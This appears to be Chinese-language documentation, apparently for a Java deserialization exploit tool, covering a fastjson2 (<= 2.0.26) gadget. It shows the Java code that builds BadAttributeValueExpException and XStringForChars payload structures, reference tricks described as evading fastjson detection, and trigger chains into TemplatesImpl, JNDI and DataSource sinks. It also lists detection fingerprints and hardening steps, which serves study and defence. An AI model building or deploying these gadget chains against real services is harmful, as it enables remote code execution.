Skip to content

Latest commit

 

History

History
127 lines (96 loc) · 10.6 KB

File metadata and controls

127 lines (96 loc) · 10.6 KB

Fastjson2反序列化链(Fastjson2)

  • 类别:javanative 别名:— 优先级:15
  • 实现Gadget(无基类,extends=null
  • 作者:—
  • 依赖com.alibaba:fastjson <= 2.0.26(此处指 fastjson2 系列,即 com.alibaba.fastjson2

作用

Java 原生反序列化入口下,借助 BadAttributeValueExpException.readObject()(或 XStringForChars.equals())触发 com.alibaba.fastjson2.JSONArray.toString()。fastjson2 在 toString/序列化数组元素时会主动调用元素对象的所有 getter,从而把「Java 原生反序列化」转换为「任意 getter 调用」,衔接下游各类 getter 型 sink(TemplatesImpl 字节码、JNDI 注入、DataSource/C3P0 等)。其名称中的「Fastjson2 反序列化链」并非指以 fastjson 反序列化为入口,而是利用 fastjson2 的 toString 序列化副作用作为 getter 触发器

链接标签

  • 入口 tagsJavaNativeDeserialize —— 承接 Java 原生反序列化入口(本 gadget 是最外层跳板)。
  • 衔接 nextTagsTemplatesImplChainTemplatesImplWrapperChainLdapAttributeChainSignedObjectChainMapMessageChainC3p0JndiChainDataSourceChainsDataSourceWrapperChainhutoolJndiDSFactoryhutoolPooledDSFactoryhutoolSimpleDSFactory —— 下游必须是一个「getter 触发型」子链(*Chain 后缀),即其危险逻辑挂在某个 getter 上,能被 fastjson2 序列化时的 getter 遍历激活(如 TemplatesImpl.getOutputPropertiesLdapAttribute 的 JNDI getter、C3P0/DataSource 的连接 getter、hutool 的数据源工厂 getter)。
  • excludesNotForFastjson —— 标记了该 tag 的 gadget 的 getter 在 fastjson2 序列化路径下不可用(会抛异常或不产生副作用),因此禁止与本链共用。

源码剖析

本类不带 serialVersionUID 覆写,全部逻辑在 getObjectinvoke 两个方法。核心分两条路径,由 @Param toString 选择。

invoke —— 取内层对象并埋点

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object object = chain.doCreate(context);                       // 内层 getter-sink 产物
    context.put(ContextTag.FASTJSON_HANDLE_BYPASS_KEY, object);    // 向 Payload 层登记「待 fastjson 绕过」的目标对象
    return this.getObject(object);
}
  • chain.doCreate(context) 按「由内向外」构建原则先产出下游对象(例如一个承载 TemplatesImpl 的结构),本 gadget 只负责把它包装成能触发 getter 的外层结构。
  • context.put(FASTJSON_HANDLE_BYPASS_KEY, object):把内层对象登记到上下文,供 Payload 序列化层做特殊处理(fastjson 绕过标记),对应 description 里所述「使用 Hashmap 的引用机制绕过 Fastjson 反序列化的检测」的配套埋点。

路径一:badAttributeValueExpException(默认)

public Object getObject(Object obj) throws Exception {
    JSONArray jsonArray = new JSONArray();
    jsonArray.add(obj);                                            // 内层对象放入 fastjson2 JSONArray
    // ...(xString 分支略)
    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException((Object)null);
    Reflections.setFieldValue(badAttributeValueExpException, "val", jsonArray);       // val = JSONArray
    Reflections.setFieldValue(badAttributeValueExpException, "stackTrace", new StackTraceElement[0]);
    Reflections.setFieldValue(badAttributeValueExpException, "suppressedExceptions", null);
    Reflections.setFieldValue(badAttributeValueExpException, "cause", null);
    HashMap<Object, BadAttributeValueExpException> map = new HashMap<>();
    map.put(obj, badAttributeValueExpException);                   // key=内层对象, value=BAVE
    return map;
}

逐段解释:

  1. new BadAttributeValueExpException((Object)null)null 构造,避免构造器里对 valtoString;随后反射写入 val = jsonArray,绕开构造器的类型检查。
  2. 清空 stackTrace/suppressedExceptions/cause,减小 payload 体积并避免多余对象污染反序列化图。
  3. 触发点:Java 反序列化时 BadAttributeValueExpException.readObject() 会读取 val 字段,若其不是 String,则调用 valObj.toString()——此处即 JSONArray.toString()。fastjson2 序列化该数组时遍历元素 obj 的 getter,getter-sink 随之触发。
  4. 为何再包一层 HashMapmap.put(obj, bave)obj 同时作为 HashMap 的 key 与 JSONArray 内的元素,二者指向同一实例。Java 序列化的对象引用(back-reference)机制保证 obj 只序列化一次,且作为 HashMap key 会先于 value(BAVE)被反序列化重建——为 toString 触发时对象图已就绪提供保证。这层包装也对应作者所述「用 Hashmap 的引用机制绕过 Fastjson 反序列化的检测」(配合 FASTJSON_HANDLE_BYPASS_KEY 让 Payload 层识别并处理)。

路径二:xString(跨 JDK 更稳)

if (this.toString.equals("xString")) {
    Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars");
    Object xString = Reflections.createWithoutConstructor(aClass1);
    Reflections.setFieldValue(xString, "m_obj", new char[0]);      // 无参构造 + 置空 char[],避免 NPE
    HashMap<String, Object> hashMap1 = new HashMap<>();
    HashMap<String, Object> hashMap2 = new HashMap<>();
    hashMap1.put("zZ", xString);  hashMap1.put("yy", jsonArray);
    hashMap2.put("yy", xString);  hashMap2.put("zZ", jsonArray);
    HashMap map = PayloadHelper.makeMap(hashMap1, hashMap2);       // 构造哈希碰撞结构
    ArrayList<Object> arrayList = new ArrayList<>();
    arrayList.add(obj);
    arrayList.add(map);
    return arrayList;
}

逐段解释:

  1. XStringForCharscreateWithoutConstructor 绕过其需 String 的构造器,并把内部 m_obj 设为空 char[],使 equals 路径可达而不在早期抛 NPE。
  2. hashMap1/hashMap2 用键 "zZ""yy" 交叉放置 xStringjsonArray;再由 PayloadHelper.makeMap(...)(工具内置助手,源码不在 gadget 目录)把两个 map 组合成哈希碰撞结构。Java 反序列化 HashMap.readObject → putVal 在碰撞桶内调用 key.equals(otherKey),最终触发 xString.equals(jsonArray)
  3. XString.equals(Object) 内部会对参数调用 toString()obj2.toString()),从而再度落到 JSONArray.toString() → getter 遍历。
  4. xString 变体的价值(见 @Param 说明「xString 在高 jdk 上 SerId 一致」):XStringForCharsserialVersionUID 在各 JDK 版本间稳定,而 BadAttributeValueExpException 在高版本 JDK 下可能因 UID/实现差异导致 InvalidClassException 或触发行为变化;因此 xString 路径跨 JDK 兼容性更好
  5. 外层再用 ArrayList[obj, map] 承载,obj 先入列同样是为了利用引用机制保证对象图重建顺序。

参数(@Param)

字段 名称 说明 类型 默认 可选值
toString 选用 toString 进行触发 选择使用 badAttributeValueExpException / xString 触发;xString 在高 JDK 上 SerId 一致(跨版本更稳) ParamType.Choice badAttributeValueExpException badAttributeValueExpExceptionxString

适用版本与原理要点

  • 依赖com.alibaba.fastjson2 <= 2.0.26。核心利用点是 fastjson2 JSONArray.toString() 在序列化数组元素时会调用元素的 getter;后续版本对该 toString/序列化路径的行为收敛,故标注上限 2.0.26。
  • 入口:Java 原生反序列化(tags=JavaNativeDeserialize),并非以 fastjson 反序列化为入口——本 gadget 借 readObject → toString 把控制流交给 fastjson2 的 getter 遍历。
  • 触发链
    • 默认:HashMap.readObject → BadAttributeValueExpException.readObject → JSONArray.toString → 元素 getter
    • xString:HashMap.readObject → putVal(哈希碰撞) → XStringForChars.equals → JSONArray.toString → 元素 getter
  • 下游约束:下游必须提供「危险 getter」型子链(nextTags*Chain),且不得带 NotForFastjson(其 getter 在 fastjson2 序列化下不可用)。
  • JDK 兼容xString 变体用于高版本 JDK 更稳定;若下游是 TemplatesImpl 字节码 sink,则仍受 TemplatesImpl 自身「JDK < 17」限制约束。

所属预设链

  • Fastjson2链(配置顺序:[Fastjson2, TemplatesImpl, BytecodeConvert, Sleep]applicablePayloadsJavaNativePayloadJNDILDAP/RMIDeserializePayloadJRMPListenerPayloadFakeMySQLPayloadShiroPayload 等)

关联

  • 上游入口:任意 Java 原生反序列化 Payload(JavaNativeDeserialize)。
  • 下游(getter-sink 子链,nextTags):TemplatesImplTemplatesImplChain)、LdapAttributeLdapAttributeChain)、SignedObjectSignedObjectChain)、MapMessage、C3P0/DataSource/hutool 数据源工厂等。
  • 同族对照:CommonsBeanutils1 也是「Java 原生反序列化 → getter」跳板,但走 PriorityQueue + BeanComparator;本 gadget 走 BadAttributeValueExpException/XString → fastjson2 toString,且能一次触发所有 getter 而非单一属性。

防御与检测

检测特征(序列化流量/对象图指纹)

  • 序列化流中同时出现 javax.management.BadAttributeValueExpExceptioncom.alibaba.fastjson2.JSONArray(默认路径的强指纹)。
  • xString 路径:出现 com.sun.org.apache.xpath.internal.objects.XStringForChars + 嵌套 HashMap(哈希碰撞结构)+ com.alibaba.fastjson2.JSONArray
  • 二者共有:外层 HashMap/ArrayList 包裹、BadAttributeValueExpExceptionstackTrace 被清空为空数组等异常「干净化」痕迹。

加固建议

  • 反序列化白名单(JEP 290 ObjectInputFilter):拦截 BadAttributeValueExpExceptionXStringForCharscom.alibaba.fastjson2.* 等非业务必需类。
  • 升级 fastjson2 至 2.0.26 之后的修复版本;如无法升级,评估禁用/隔离含 fastjson2 的组件参与反序列化路径。
  • 从根源禁止不可信来源的 Java 原生反序列化(改用 JSON/协议缓冲等无代码执行副作用的格式,或加签名校验)。
  • 高 JDK(>= 17)对 TemplatesImpl 字节码 sink 天然更难利用,但 JNDI/DataSource 型下游仍可能生效,不能仅依赖 JDK 版本作为唯一防线。